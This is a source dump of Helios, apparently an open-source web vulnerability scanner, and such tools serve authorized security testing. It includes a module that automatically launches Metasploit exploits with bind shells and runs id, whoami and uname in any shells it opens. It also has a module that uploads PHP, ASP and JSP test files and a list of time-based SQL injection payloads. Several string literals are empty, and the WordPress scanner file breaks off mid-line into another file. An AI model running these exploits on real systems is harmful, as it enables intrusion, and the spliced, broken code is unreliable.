57 | def set_update_cache(self):
58 | self.logger.debug("Updating updates cache file")
59 | with open(self.cache_file('updates.txt'), 'w') as f:
60 | for x in self.updates:
61 | f.write("%s:%d\n" % (x, self.updates[x]))
62 |
63 | def cache_file(self, r):
64 | return os.path.join(self.cache_dir, r)
65 |
66 | def setup(self):
67 | if not os.path.exists(self.cache_dir):
68 | self.logger.info("Creating cache directory")
69 | os.mkdir(self.cache_dir)
70 | self.get_update_cache()
71 | if self.last_update + self.update_frequency < time.time():
72 | self.last_update = time.time()
73 | self.updates[self.name] = time.time()
74 | self.update()
75 | self.set_update_cache()
76 | else:
77 | self.logger.debug("Database is up to date, skipping..")
78 |
79 | def match_versions(self, version, fixed_in):
80 | if version == fixed_in:
81 | return False
82 | parts_version = version.split('.')
83 | parts_fixed_in = fixed_in.split('.')
84 |
85 | if len(parts_version) <= len(parts_fixed_in):
86 | for x in range(len(parts_version)):
87 | if int(parts_version[x]) < int(parts_fixed_in[x]):
88 | return True
89 | if int(parts_version[x]) > int(parts_fixed_in[x]):
90 | return False
91 | return False
92 |
93 | else:
94 | for x in range(len(parts_fixed_in)):
95 | if int(parts_version[x]) < int(parts_fixed_in[x]):
96 | return True
97 | if int(parts_version[x]) > int(parts_fixed_in[x]):
98 | return False
99 | return False
100 |
101 | def get(self, url, data=None):
102 | if not data:
103 | result = requests.get(url, allow_redirects=False, headers=self.headers, cookies=self.cookies)
104 | return result
105 | else:
106 | result = requests.post(url, data=data, allow_redirects=False, headers=self.headers, cookies=self.cookies)
107 | return result
108 |
--------------------------------------------------------------------------------
/core/login.py:
--------------------------------------------------------------------------------
1 | from base64 import b64encode
2 | import re
3 | import sys
4 | import logging
5 | import requests
6 | try:
7 | from urllib import parse
8 | except ImportError:
9 | import urlparse as parse
10 |
11 |
12 | class LoginAction:
13 | session_obj = None
14 | headers = {}
15 | cookies = {}
16 | logger = None
17 |
18 | def __init__(self, logger=logging.INFO):
19 | self.session_obj = requests.session()
20 | self.logger = logging.getLogger("Login")
21 | self.logger.setLevel(logger)
22 | ch = logging.StreamHandler(sys.stdout)
23 | ch.setLevel(logger)
24 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
25 | ch.setFormatter(formatter)
26 | self.logger.addHandler(ch)
27 |
28 | def basic_auth(self, up_str):
29 | value = b64encode(up_str.encode()).decode()
30 | header = "Basic %s" % value
31 | self.logger.info("Using header Authorization: %s" % header)
32 | self.headers['Authorization'] = header
33 |
34 | def login_form(self, url, data, headers={}):
35 | try:
36 | data = dict(parse.parse_qsl(data))
37 | except Exception as e:
38 | self.logger.error("Login Error: login payload should be in urlencoded format: %s" % str(e))
39 | return None
40 |
41 | for k in headers:
42 | self.headers[k] = headers[k]
43 | self.session_obj.get(url)
44 | self.logger.debug("Login payload: %s" % str(data))
45 | return self.session_obj.post(url, data=data, headers=self.headers, allow_redirects=False)
46 |
47 | def login_form_csrf(self, url, data, headers={}, token_url=None):
48 | try:
49 | data = dict(parse.parse_qsl(data))
50 | except Exception as e:
51 | self.logger.error("Login Error: login payload should be in urlencoded format: %s" % str(e))
52 | return None
53 | if not token_url:
54 | token_url = url
55 |
56 | for k in headers:
57 | self.headers[k] = headers[k]
58 |
59 | page = self.session_obj.get(token_url)
60 | page_data = {}
61 | for x in re.findall('()', page.text, re.IGNORECASE):
62 | n = re.search('name="(.+?)"', x, re.IGNORECASE)
63 | v = re.search('value="(.+?)"', x, re.IGNORECASE)
64 | if n and v:
65 | page_data[n.group(1)] = v.group(1)
66 |
67 | for custom in data:
68 | page_data[custom] = data[custom]
69 | self.logger.debug("Login payload: %s" % str(page_data))
70 | return self.session_obj.post(url, data=page_data, headers=self.headers, allow_redirects=False)
71 |
72 | def pre_parse(self, options):
73 | headers = options.login_header
74 | if not options.login_type:
75 | return None
76 | self.logger.info("Running Login Sequence")
77 | if headers:
78 | try:
79 | for header in headers:
80 | s = header.split(':')
81 | key = s[0].strip()
82 | value = ':'.join(s[1:])
83 | self.headers[key] = value
84 | except Exception as e:
85 | self.logger.warning("Login Error: Error processing headers: %s" % str(e))
86 |
87 | if options.login_type == "basic":
88 | creds = options.login_creds
89 | if not creds:
90 | self.logger.error("Login Error: --login-creds is required for Basic Auth")
91 | return None
92 | self.basic_auth(creds)
93 |
94 | if options.login_type == "header":
95 | if not headers:
96 | self.logger.error("Login Error: at least one --login-header is required for Header Auth")
97 | return None
98 |
99 | token_url = options.token_url
100 | url = options.login_url
101 | data = options.login_data
102 | if not token_url:
103 | token_url = url
104 | try:
105 | if options.login_type == "form":
106 | return self.login_form(url=token_url, data=data)
107 | if options.login_type == "form-csrf":
108 | return self.login_form_csrf(url=url, data=data, token_url=token_url)
109 | except Exception as e:
110 | self.logger.error("Error in Login sequence: %s" % str(e))
111 |
--------------------------------------------------------------------------------
/core/modules.py:
--------------------------------------------------------------------------------
1 | import os
2 | import logging
3 | import sys
4 | import json
5 |
6 |
7 | class CustomModuleLoader:
8 | folder = ""
9 | blacklist = ['module_base.py', '__init__.py']
10 | modules = []
11 | logger = None
12 | options = None
13 | writer = None
14 | scope = None
15 | sslverify = False
16 | headers = {}
17 | cookies = {}
18 |
19 | def __init__(self, folder='modules', blacklist=[], options=None, logger=logging.INFO, database=None, scope=None):
20 | self.blacklist.extend(blacklist)
21 | self.options = options
22 | self.folder = folder
23 | self.logger = logging.getLogger("CustomModuleLoader")
24 | self.logger.setLevel(logger)
25 | ch = logging.StreamHandler(sys.stdout)
26 | ch.setLevel(logger)
27 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
28 | ch.setFormatter(formatter)
29 | self.logger.addHandler(ch)
30 | self.logger.debug("Loading custom modules")
31 | self.scope = scope
32 | self.load_modules()
33 | self.writer = database
34 |
35 | def load(self, f):
36 | base = f.replace('.py', '')
37 | try:
38 | command_module = __import__("modules.%s" % base, fromlist=["modules"])
39 | module = command_module.Module()
40 | if self.options:
41 | if 'all' not in self.options:
42 | for opt in module.module_types:
43 | if opt not in self.options:
44 | self.logger.debug("Disabling module %s because %s is not enabled" % (module.name, opt))
45 | return
46 | else:
47 | if 'dangerous' in module.module_types:
48 | self.logger.debug(
49 | "Disabling script %s because dangerous flag is present, "
50 | "use --options all or add the dangerous flag to override" % (
51 | module.name))
52 | return
53 | module.scope = self.scope
54 | module.verify = self.sslverify
55 | module.headers = self.headers
56 | module.cookies = self.cookies
57 | self.modules.append(module)
58 | self.logger.debug("Enabled module: %s" % f)
59 | except ImportError as e:
60 | self.logger.warning("Error importing module:%s %s" % (f, str(e)))
61 | except Exception as e:
62 | self.logger.warning("Error loading module:%s %s" % (f, str(e)))
63 |
64 | def load_modules(self):
65 | for f in os.listdir(self.folder):
66 | if not f.endswith('.py'):
67 | continue
68 | if f in self.blacklist:
69 | continue
70 | self.load(f)
71 |
72 | def run_post(self, urltree, headers={}, cookies={}):
73 | output = []
74 | for module in self.modules:
75 | if 1:
76 | if module.input == "urldata":
77 | for row in urltree:
78 | try:
79 | url, data = row
80 | self.logger.debug("Running module %s on url: %s" % (module.name, url))
81 | results = module.run(url, data, headers, cookies)
82 | if results and len(results):
83 | for r in results:
84 | if self.writer:
85 | self.writer.put(result_type="Module - Adv", script=module.name,
86 | severity=module.severity, text=json.dumps(r))
87 | self.logger.info("Module %s Discovered %s" % (module.name, r))
88 | output.extend([module.name, r])
89 | except Exception as e:
90 | self.logger.warning("Error executing module %s on %s %s: %s" % (module.name, url, data, str(e)))
91 | if module.input == "urls":
92 | self.logger.debug("Running module %s on %d urls" % (module.name, len(urltree)))
93 | try:
94 | results = module.run(urltree, headers, cookies)
95 | if results and len(results):
96 | for r in results:
97 | self.logger.info("Module %s Discovered %s" % (module.name, r))
98 | if self.writer:
99 | self.writer.put(result_type="Module - Adv", script=module.name,
100 | severity=module.severity, text=json.dumps(r))
101 | output.extend([module.name, r])
102 | except Exception as e:
103 | self.logger.warning("Error executing module %s on urls: %s" % (module.name, str(e)))
104 |
105 | return output
106 |
107 | def base_crawler(self, base):
108 | output = []
109 | for module in self.modules:
110 | if module.input == "base" and module.output == "crawler":
111 | self.logger.debug("Running pre-crawl module %s on base url %s" % (module.name, base))
112 | results = module.run(base)
113 | output.extend(results)
114 | return output
115 |
--------------------------------------------------------------------------------
/ext/libcms/scanners/wordpress.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 | import re
4 | import json
5 |
6 | import cms_scanner
7 |
8 | try:
9 | from urlparse import urljoin, urlparse
10 | except ImportError:
11 | from urllib.parse import urljoin, urlparse
12 |
13 |
14 | class Scanner(cms_scanner.Scanner):
15 | plugin_update_url = "https://data.wpscan.org/plugins.json"
16 | plugin_cache_file = "wordpress_plugins.json"
17 |
18 | version_update_url = "https://data.wpscan.org/wordpresses.json"
19 | version_cache_file = "wordpress_versions.json"
20 |
21 | def __init__(self):
22 | self.name = "wordpress"
23 | self.update_frequency = 3600 * 48
24 |
25 | def get_version(self, url):
26 | text = self.get(url)
27 | if text:
28 | version_check_1 = re.search(r')', result_fp.text):
37 | try:
38 | post_body = {}
39 | soup = BeautifulSoup(upl_form, "lxml")
40 | f = soup.find('form')
41 | # if form has no action use current url instead
42 | action = urlparse.urljoin(result_fp.url, f['action']) if f.has_attr('action') else result_fp.url
43 | for frm_input in f.findAll('input'):
44 | if frm_input.has_attr('name') and frm_input.has_attr('type'):
45 | if frm_input['type'] == "file":
46 | post_body[frm_input['name']] = "{file}"
47 | else:
48 | post_body[frm_input['name']] = frm_input['value'] \
49 | if frm_input.has_attr('value') else random_string(8)
50 | output, boundry = self.get_multipart_form_data(result_fp.url, post_body)
51 |
52 | self.headers['Content-Type'] = 'multipart/form-data; boundary=%s' % boundry
53 | send_post = self.send(action, params=None, data=output)
54 | if send_post and send_post.status_code == 200:
55 | result = self.find_needle(action)
56 | if result:
57 | results.append({'request': requests_response_to_dict(send_post),
58 | "match": "File was successfully uploaded to %s" % result})
59 | except:
60 | pass
61 |
62 | return results
63 |
64 | def find_needle(self, url):
65 | if 'Content-Type' in self.headers:
66 | del self.headers['Content-Type']
67 | filename, match, contents = self.needle
68 | common_dirs = ['uploads', 'upload', 'files', 'data', 'images', 'img', 'assets', 'cache']
69 | root = urlparse.urljoin(url, '/')
70 | upath = '/'.join(url.split('/')[:-1]) + "/"
71 | for d in common_dirs:
72 | if root == url:
73 | break
74 | rpath = "%s%s/%s" % (root, d, filename)
75 | get = self.send(rpath, None, None)
76 | if get and get.status_code == 200 and match in get.text:
77 | return rpath
78 | for d in common_dirs:
79 | if upath == root:
80 | continue
81 | rpath = "%s%d/%s" % (upath, d, filename)
82 | get = self.send(rpath, None, None)
83 | if get and get.status_code == 200 and match in get.text:
84 | return rpath
85 |
86 | def get_multipart_form_data(self, url, post_data):
87 | output = ""
88 | boundry = "----WebKitFormBoundary%s" % random_string(15)
89 | output += "--" + boundry + "\r\n"
90 | for name in post_data:
91 | value = post_data[name]
92 | opt = ''
93 |
94 | if value == "{file}":
95 | outf = self.generate_file(url)
96 | self.needle = outf
97 | filename, match, contents = outf
98 | name = name + '"; filename="%s' % filename
99 | value = contents
100 | opt = 'Content-Type: \r\n'
101 |
102 | header = 'Content-Disposition: form-data; name="%s"\r\n' % name
103 | header += opt
104 | header += "\r\n"
105 |
106 | outstr = "%s%s\r\n" % (header, value)
107 | output += outstr
108 | output += "--" + boundry + "\r\n"
109 | output = output[:-2] + "--"
110 | return output, boundry.strip()
111 |
112 | def generate_file(self, url):
113 | filename = "upload.txt"
114 | match = random_string(8)
115 | contents = match
116 | if ".php" in url:
117 | filename = random_string(8) + ".php"
118 | match = random_string(8)
119 | contents = "" % match
120 |
121 | if ".asp" in url:
122 | # also catches aspx
123 | filename = random_string(8) + ".asp"
124 | match = random_string(8)
125 | contents = '<%% Response.Write("%s") %%>' % match
126 |
127 | if ".jsp" in url:
128 | filename = random_string(8) + ".jsp"
129 | match = random_string(8)
130 | contents = '<%% out.print("%s"); %%>' % match
131 |
132 | return filename, match, contents
133 |
134 | def send(self, url, params, data):
135 | result = None
136 | headers = self.headers
137 | cookies = self.cookies
138 | try:
139 | if data:
140 | result = requests.post(url, params=params, data=data,
141 | headers=headers, cookies=cookies, verify=self.verify)
142 | else:
143 | result = requests.get(url, params=params,
144 | headers=headers, cookies=cookies, verify=self.verify)
145 | except Exception as e:
146 | pass
147 | return result
148 |
--------------------------------------------------------------------------------
/ext/metamonster/meta_executor.py:
--------------------------------------------------------------------------------
1 | from concurrent.futures import ThreadPoolExecutor
2 | import time
3 | try:
4 | from Queue import Queue, Empty
5 | except ImportError:
6 | from queue import Queue, Empty
7 |
8 | class MetaExecutor:
9 | monster = None
10 | logger = None
11 | queue = None
12 | is_working = True
13 | port_min = 0
14 | port_max = 65535
15 | port_current = 0
16 | monitor = {
17 |
18 | }
19 | working = []
20 |
21 | def __init__(self, monster, todo):
22 | self.monster = monster
23 | self.logger = self.monster.client.logger
24 | self.queue = Queue()
25 | self.port_min = int(self.monster.msf['settings']['shell_port_start'])
26 | self.port_current = int(self.monster.msf['settings']['shell_port_start'])
27 | self.port_max = int(self.monster.msf['settings']['shell_port_end'])
28 | available = self.port_max - self.port_min
29 | if len(todo) > available:
30 | self.logger.warning("The number of found exploits %d exceeds the max number of ports: %d")
31 | self.logger.info("Only using first %d exploits due to listen port limitations" % available)
32 | todo = todo[0:available-1]
33 |
34 | for entry in todo:
35 | self.queue.put(entry)
36 |
37 | def threadedExecutor(self, exploit):
38 | info = self.monster.client.request("module.info", ['exploits', exploit])
39 | rank = info['rank']
40 |
41 | if str(rank) not in self.monster.msf['settings']['min_success']:
42 | self.logger.debug("Exploit %s does not meet minimum required exploit rank" % exploit)
43 | return exploit, None
44 |
45 | if self.monster.msf['settings']['ignore_SRVHOST'] and 'SRVHOST' in info['options']:
46 | self.logger.debug("Exploit %s requires SRVHOST.. ignoring" % exploit)
47 | return exploit, None
48 |
49 | if self.monster.msf['settings']['ignore_privileged'] and info['privileged']:
50 | self.logger.debug("Exploit %s requires credentials (privileged).. ignoring" % exploit)
51 | return exploit, None
52 |
53 | payloads = self.monster.client.request("module.compatible_payloads", [exploit])['payloads']
54 | selected_payload = None
55 | for payload in payloads:
56 | if self.monster.msf['settings']['shell_type'] in payload:
57 | selected_payload = payload
58 | break
59 | for payload in payloads:
60 | if not selected_payload:
61 | if self.monster.msf['settings']['shell_type_fallback'] in payload:
62 | selected_payload = payload
63 | break
64 | if not selected_payload:
65 | self.logger.debug("Exploit %s cannot find good payload" % exploit)
66 | return exploit, None
67 |
68 | listen_port = self.port_current
69 | self.port_current += 1
70 | options = self.parse_options(info['options'])
71 | options['PAYLOAD'] = selected_payload.strip()
72 | options['LPORT'] = listen_port
73 | options['TARGET'] = 0
74 | options['VERBOSE'] = True
75 | run_options = ','.join([str(key) + "=" + str(options[key]) for key in options])
76 | self.logger.debug("Running exploit %s, payload=%s, settings=%s" % (exploit, selected_payload, run_options))
77 | exec_result = self.monster.client.request("module.execute", ["exploit", "exploit/"+exploit, options])
78 | if exec_result['job_id']:
79 | self.monitor[exec_result['job_id']] = exploit
80 | self.logger.debug("Started exploit %s" % exploit)
81 | time.sleep(5)
82 | else:
83 | self.logger.debug("Error starting exploit exploit %s" % exploit)
84 |
85 | def parse_options(self, options):
86 | params = self.monster.msf['parameters']
87 | opt_set = {}
88 | for option in options:
89 | if option in params:
90 | opt_set[option.strip()] = params[option]
91 | if options[option]['required'] and not option in params:
92 | if 'default' in options[option]:
93 | opt_set[option] = options[option]['default']
94 | else:
95 | self.logger.warning("%s is not set, setting to empty value" % option)
96 | opt_set[option] = ""
97 | return opt_set
98 |
99 | def parse_and_close(self, session_id, session_data):
100 | exploit = session_data['via_exploit']
101 | self.logger.info("%s appears to have worked and has created a session" % exploit)
102 | if not self.monster.msf['settings']['gather_basic_info']:
103 | self.working.append([exploit, {}])
104 | self.monster.client.request("session.stop", [session_id])
105 | return
106 | else:
107 | if session_data['type'] == "shell":
108 | outputs = {}
109 | res = self.monster.client.request("session.shell_write", [session_id, 'id\n'])
110 | outputs['id'] = self.monster.client.request("session.shell_read", [session_id])
111 | self.monster.client.request("session.shell_write", [session_id, 'whoami\n'])
112 | outputs['whoami'] = self.monster.client.request("session.shell_read", [session_id])
113 | self.monster.client.request("session.shell_write", [session_id, 'uname -a\n'])
114 | outputs['uname'] = self.monster.client.request("session.shell_read", [session_id])
115 | self.working.append([exploit, outputs])
116 | self.monster.client.request("session.stop", [session_id])
117 |
118 | def check_monitor(self):
119 | results = self.monster.client.request("session.list", [])
120 | if(len(results)):
121 | for session in results:
122 | self.parse_and_close(session, results[session])
123 |
124 | def kill_all(self):
125 | for job_id in self.monster.client.request("job.list"):
126 | self.monster.client.request("job.stop", [job_id])
127 |
128 | def start(self):
129 |
130 | while(self.is_working):
131 | if self.queue.empty():
132 | self.logger.info("All modules started, waiting 10 seconds")
133 | time.sleep(10)
134 | self.check_monitor()
135 | self.kill_all()
136 | return self.working
137 |
138 | u = self.queue.get()
139 | self.threadedExecutor(u)
140 | self.check_monitor()
141 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | # Helios
3 | Multi-threaded open-source web application security scanner
4 |
5 | ## Supports Python 2.x and Python 3.x
6 |
7 | The current version can detect the following vulnerabilities:
8 | - SQL-Injections
9 | - Error Based
10 | - Boolean Based
11 | - Time Based
12 | - Cross-Site-Scripting
13 | - Reflected
14 | - Stored
15 | - File-inclusion
16 | - Local file inclusion
17 | - Remote file inclusion
18 | - File uploads
19 | - Command Injection
20 | - Backup-files
21 | - Generic error disclosure
22 | - Source code disclosure
23 | - Web application fingerprint
24 | - CMS Vulerability scanner for:
25 | - WordPress
26 | - Drupal
27 | - Joomla
28 | - Typo3
29 | - Textpattern
30 | - Magento
31 | - Subrion
32 | - CMS made simple
33 | - Concrete5
34 | - MODX Revolution
35 | - Automatic launching of Metasploit modules (through msfrpc)
36 | - unsafe at the moment
37 |
38 |
39 | # Features
40 | - Uses multi-threading (very very fast)
41 | - Processes AJAX/XHR requests
42 | - Widely adaptable
43 | - No laggy interfaces, 100% console based
44 |
45 |
46 | # How to install
47 | ```
48 | git clone https://github.com/stefan2200/Helios.git
49 | pip install -r requirements.txt
50 | python helios.py -h
51 |
52 | cd webapps/databases
53 | python update.py -a
54 | ```
55 |
56 | # How to use (Command Line)
57 | ```
58 | usage: helios.py: args [-h] [-u URL] [--urls URLS]
59 | [--user-agent USER_AGENT] [-a] [-o OUTFILE]
60 | [-d] [--driver-path DRIVER_PATH]
61 | [--show-driver] [--interactive] [--no-proxy]
62 | [--proxy-port PROXY_PORT] [-c]
63 | [--max-urls MAXURLS] [--scopes SCOPES]
64 | [--scope-options SCOPE_OPTIONS] [-s] [--adv]
65 | [--cms] [--webapp] [--optimize]
66 | [--options CUSTOM_OPTIONS]
67 | [--login LOGIN_TYPE]
68 | [--login-creds LOGIN_CREDS]
69 | [--login-url LOGIN_URL]
70 | [--login-data LOGIN_DATA]
71 | [--token-url TOKEN_URL]
72 | [--header LOGIN_HEADER] [--threads THREADS]
73 | [--sslverify] [--database DB] [-v] [--msf]
74 | [--msf-host MSF_HOST] [--msf-port MSF_PORT]
75 | [--msf-creds MSF_CREDS]
76 | [--msf-endpoint MSF_URI]
77 | [--msf-nossl MSF_NOSSL] [--msf-start]
78 |
79 | optional arguments:
80 | -h, --help show this help message and exit
81 | -u URL, --url URL URL to start with
82 | --urls URLS file with URL's to start with
83 | --user-agent USER_AGENT
84 | Set the user agent
85 | -a, --all Run everything
86 | -o OUTFILE, --output OUTFILE
87 | Output file to write to (JSON)
88 |
89 | Chromedriver Options:
90 | -d, --driver Run WebDriver for advanced discovery
91 | --driver-path DRIVER_PATH
92 | Set custom path for the WebDriver
93 | --show-driver Show the WebDriver window
94 | --interactive Dont close the WebDriver window until keypress
95 | --no-proxy Disable the proxy module for the WebDriver
96 | --proxy-port PROXY_PORT
97 | Set a custom port for the proxy module, default: 3333
98 |
99 | Crawler Options:
100 | -c, --crawler Enable the crawler
101 | --max-urls MAXURLS Set max urls for the crawler
102 | --scopes SCOPES Extra allowed scopes, comma separated hostnames (* can
103 | be used to wildcard)
104 | --scope-options SCOPE_OPTIONS
105 | Various scope options
106 |
107 | Scanner Options:
108 | -s, --scan Enable the scanner
109 | --adv Enable the advanced scripts
110 | --cms Enable the CMS module
111 | --webapp Enable scanning of web application frameworks like
112 | Tomcat / Jboss
113 | --optimize Optimize the Scanner engine (uses more resources)
114 | --options CUSTOM_OPTIONS
115 | Comma separated list of scan options (discovery,
116 | passive, injection, dangerous, all)
117 |
118 | Login Options:
119 | --login LOGIN_TYPE Set login method: basic, form, form-csrf, header
120 | --login-creds LOGIN_CREDS
121 | Basic Auth credentials username:password
122 | --login-url LOGIN_URL
123 | Set the URL to post to (forms)
124 | --login-data LOGIN_DATA
125 | Set urlencoded login data (forms)
126 | --token-url TOKEN_URL
127 | Get CSRF tokens from this page (default login-url)
128 | --header LOGIN_HEADER
129 | Set this header on all requests (OAuth tokens etc..)
130 | example: "Key: Bearer {token}"
131 |
132 | Advanced Options:
133 | --threads THREADS Set a custom number of crawling / scanning threads
134 | --sslverify Enable SSL verification (requests will fail without
135 | proper cert)
136 | --database DB The SQLite database to use
137 | -v, --verbose Show verbose stuff
138 |
139 | Metasploit Options:
140 | --msf Enable the msfrpcd exploit module
141 | --msf-host MSF_HOST Set the msfrpcd host
142 | --msf-port MSF_PORT Set the msfrpcd port
143 | --msf-creds MSF_CREDS
144 | Set the msfrpcd username:password
145 | --msf-endpoint MSF_URI
146 | Set a custom endpoint URI
147 | --msf-nossl MSF_NOSSL
148 | Disable SSL
149 | --msf-start Start msfrpcd if not running already
150 |
151 |
152 |
153 | Crawl and scan an entire domain
154 | helios.py -u "http://example.com/" -c -s
155 |
156 | Safe scan
157 | helios.py -u "http://example.com/" -c -s --options "passive,discovery" --adv
158 |
159 | Full scan (with unsafe scripts)
160 | helios.py -u "http://example.com/" -a --options all --max-urls 1000
161 |
162 | Scan a single URL
163 | helios.py -u "http://example.com/vuln.php?id=1" -s
164 |
165 | Scan webapps and CMS systems
166 | helios.py -u "http://example.com/blog/" --webapp --cms
167 |
168 | Pwn a web server
169 | helios.py -u "http://example.com/" --msf
170 | ```
171 |
172 | # How to use (Module Crawler)
173 | ```python
174 | from helios.core import crawler
175 | # create new crawler class
176 | c = crawler()
177 | # run the crawler against the start url
178 | c.run("https://example.com/")
179 | # print all visited links
180 | print(c.scraped_pages)
181 | ```
182 |
183 | # How to use (Module Scanner)
184 | ```python
185 | from helios.core import parser
186 | from helios.core import request
187 | # create new ScriptEngine class
188 | s = parser.ScriptEngine()
189 | # create an Request object
190 | req = request.Request(url="https://example.com/test.php?id=1", data={'test': 'value'})
191 | # send the initial request
192 | req.run()
193 | s.run_scripts(req)
194 | # print all results
195 | print(s.results)
196 | ```
197 |
198 | # What is next?
199 | - create a fully working post back crawler / scanner for ASPX/JSP type sites
200 | - generic detection script
201 | - migrate CMS scripts to webapp scripts
202 |
203 |
--------------------------------------------------------------------------------
/ext/metamonster/metamonster.py:
--------------------------------------------------------------------------------
1 | import time
2 | import socket
3 | import os
4 |
5 | try:
6 | from urlparse import urlparse
7 | from Queue import Queue, Empty
8 | from rpcclient import Client
9 | from detector import PassiveDetector
10 | from meta_executor import MetaExecutor
11 | except ImportError:
12 | from urllib.parse import urlparse
13 | from queue import Queue, Empty
14 | from ext.metamonster.rpcclient import Client
15 | from ext.metamonster.detector import PassiveDetector
16 | from ext.metamonster.meta_executor import MetaExecutor
17 |
18 |
19 | class MetaMonster:
20 | client = None
21 | host = "127.0.0.1"
22 | port = 55553
23 | ssl = True
24 | endpoint = "/api/"
25 | username = "msf"
26 | password = "msf"
27 | modules = []
28 | aggressive = True
29 | should_start = True
30 | log_level = None
31 | results = {
32 | 'working': [],
33 | 'launched': [],
34 | 'parameters': {}
35 | }
36 |
37 | os_types = [
38 | 'windows',
39 | 'unix',
40 | 'linux',
41 | 'bsd',
42 | 'multi'
43 | ]
44 |
45 | exploit_types = [
46 | 'http',
47 | 'webapp'
48 | ]
49 |
50 | external = {}
51 |
52 | def __init__(self, log_level):
53 | self.log_level = log_level
54 |
55 | def connect(self, server):
56 | url = "http%s://%s:%d%s" % ('s' if self.ssl else '', self.host, self.port, self.endpoint)
57 | self.client = Client(url, username=self.username, password=self.password, log_level=self.log_level)
58 | self.client.logger.info("Using %s as metasploit endpoint" % url)
59 | self.client.ssl = self.ssl
60 | if not self.client.auth():
61 | self.client.logger.warning("Cannot start MetaMonster, msfrpcd auth was not successful")
62 | if self.should_start:
63 | self.client.logger.warning("Attempting to start msfrpcd")
64 | command = "msfrpcd -U %s -P %s -a %s -p %d %s" % (
65 | self.username, self.password, self.host, self.port, "-S" if not self.ssl else "")
66 | command = command.strip()
67 | os.system(command)
68 | time.sleep(10)
69 | self.client = Client(url, username=self.username, password=self.password)
70 | if not self.client.auth():
71 | self.client = None
72 | self.client = None
73 | u = urlparse(server)
74 | self.external['url'] = server
75 | self.external['host'] = u.netloc
76 | self.external['method'] = u.scheme
77 | self.external['ip'] = None
78 | self.external['port'] = u.port if u.port else 80 if server.startswith('http:') else 443
79 | self.external['os'] = None
80 | self.external['tech'] = []
81 |
82 | self.msf = {
83 | "settings": {
84 | "shell_type": "bind_tcp",
85 | "shell_type_fallback": "bind_",
86 | "shell_port_start": 49200,
87 | "shell_port_end": 50000,
88 | "min_success": ["excellent", "good", "average"],
89 | "allow_dos": False,
90 | "gather_basic_info": False,
91 | "drop_after_successful": True,
92 | "ignore_SRVHOST": True,
93 | "ignore_privileged": True
94 | },
95 | "parameters": {
96 |
97 | }
98 | }
99 |
100 | def get_exploits(self):
101 | if self.client and self.client.is_working:
102 | data = self.client.request("module.exploits")
103 | for x in data[b'modules']:
104 | self.modules.append(x.decode())
105 | self.client.logger.info("Loaded %d modules for searching" % len(self.modules))
106 |
107 | def get_parameters(self):
108 | params = {}
109 | params['VHOST'] = self.external['host']
110 | params['RHOST'] = self.external['ip']
111 | params['RHOSTS'] = self.external['ip']
112 | params['RPORT'] = self.external['port']
113 | params['SSL'] = True if self.external['method'] == "https" else False
114 | self.msf['parameters'] = params
115 |
116 | def resolve(self, hostname):
117 | try:
118 | ip = socket.gethostbyname(hostname)
119 | self.external['ip'] = ip
120 | self.client.logger.debug("%s resolves to %s" % (hostname, ip))
121 | except:
122 | self.client.logger.error("Error resolving host %s" % hostname)
123 | pass
124 |
125 | def search(self, arch_type='', subtype='http', keyword=''):
126 | exploits = []
127 | for m in self.modules:
128 | parts = m.split('/')
129 | try:
130 | arch, exp_type, name = parts if len(parts) == 3 else [None].extend(parts)
131 | if arch == arch_type and exp_type == subtype and keyword in m:
132 | exploits.append(m)
133 | except:
134 | pass
135 | return exploits
136 |
137 | def detect(self):
138 | self.resolve(self.external['host'])
139 | p = PassiveDetector(self.external['url'])
140 | result = p.get_page()
141 | if result:
142 | os, tech = p.detect(result)
143 | self.external['os'] = os
144 | self.external['tech'] = tech
145 |
146 | def key_db(self, keywords):
147 | if "wordpress" in keywords:
148 | keywords.append('wp_')
149 | if "drupal" in keywords:
150 | keywords.append('drupa')
151 | if "iis" in keywords:
152 | keywords.append('asp')
153 | return keywords
154 |
155 | def run_queries(self, queries):
156 | exploits = []
157 | self.client.logger.info("Setting parameters")
158 | self.get_parameters()
159 | self.client.logger.info("Preparing exploits")
160 | for query in queries:
161 | os, sub, keyword = query
162 | dataresults = self.search(os, sub, keyword)
163 | for exploit in dataresults:
164 | if exploit not in exploits:
165 | exploits.append(exploit)
166 | self.client.logger.debug("Added exploit %s to the queue. query: %s" % (exploit, ','.join(query)))
167 | self.client.logger.info("Running %d exploits" % len(exploits))
168 | executor = MetaExecutor(self, exploits)
169 | working_exploits = executor.start()
170 |
171 | for working in working_exploits:
172 | self.results['working'].append(working)
173 |
174 | self.results['launched'] = exploits
175 |
176 | self.results['parameters'] = self.msf['parameters']
177 |
178 | def create_queries(self):
179 | self.client.logger.debug("Starting query creation")
180 | os_versions = []
181 | output = []
182 |
183 | if not self.external['os']:
184 | os_versions = self.os_types
185 | self.client.logger.debug("Could not guess OS type, using all available: %s" % ', '.join(os_versions))
186 | elif self.external['os'] == "linux":
187 | os_versions = ['linux', 'unix', 'multi']
188 | elif self.external['os'] == "unix":
189 | os_versions = ['linux', 'unix', 'multi']
190 | elif self.external['os'] == "windows":
191 | os_versions = ['windows', 'multi']
192 | self.client.logger.info("Using operating systems for search query: %s" % ', '.join(os_versions))
193 | tech = self.external['tech']
194 | new_list = self.key_db(tech)
195 | for i in new_list:
196 | if i not in tech:
197 | tech.append(i)
198 |
199 | for keyword in tech:
200 | for search_type in self.exploit_types:
201 | for os_version in os_versions:
202 | output.append(
203 | [os_version, search_type, keyword]
204 | )
205 | return output
206 |
--------------------------------------------------------------------------------
/modules/module_sqli_timebased.py:
--------------------------------------------------------------------------------
1 | try:
2 | from urllib import quote_plus
3 | except ImportError:
4 | from urllib.parse import quote_plus
5 | import requests
6 | import time
7 | import random
8 | import modules.module_base
9 | from core.utils import requests_response_to_dict
10 |
11 |
12 | class Module(modules.module_base.Base):
13 | def __init__(self):
14 | self.name = "Blind SQL Injection (Time Based)"
15 | self.active = True
16 | self.module_types = ['injection', 'dangerous']
17 | self.possibilities = [
18 | '\' or sleep({sleep_value})--',
19 | '\' or sleep({sleep_value})\\*',
20 | '-1 or sleep({sleep_value})--',
21 | '-1 or sleep({sleep_value})\\*',
22 | 'aaaaa\' or sleep({sleep_value}) or \'a\'=\''
23 | ]
24 | self.has_read_timeout = False
25 | self.timeout_state = 0
26 | self.max_timeout_state = 6 # 60 secs
27 | self.auto = True
28 | self.headers = {}
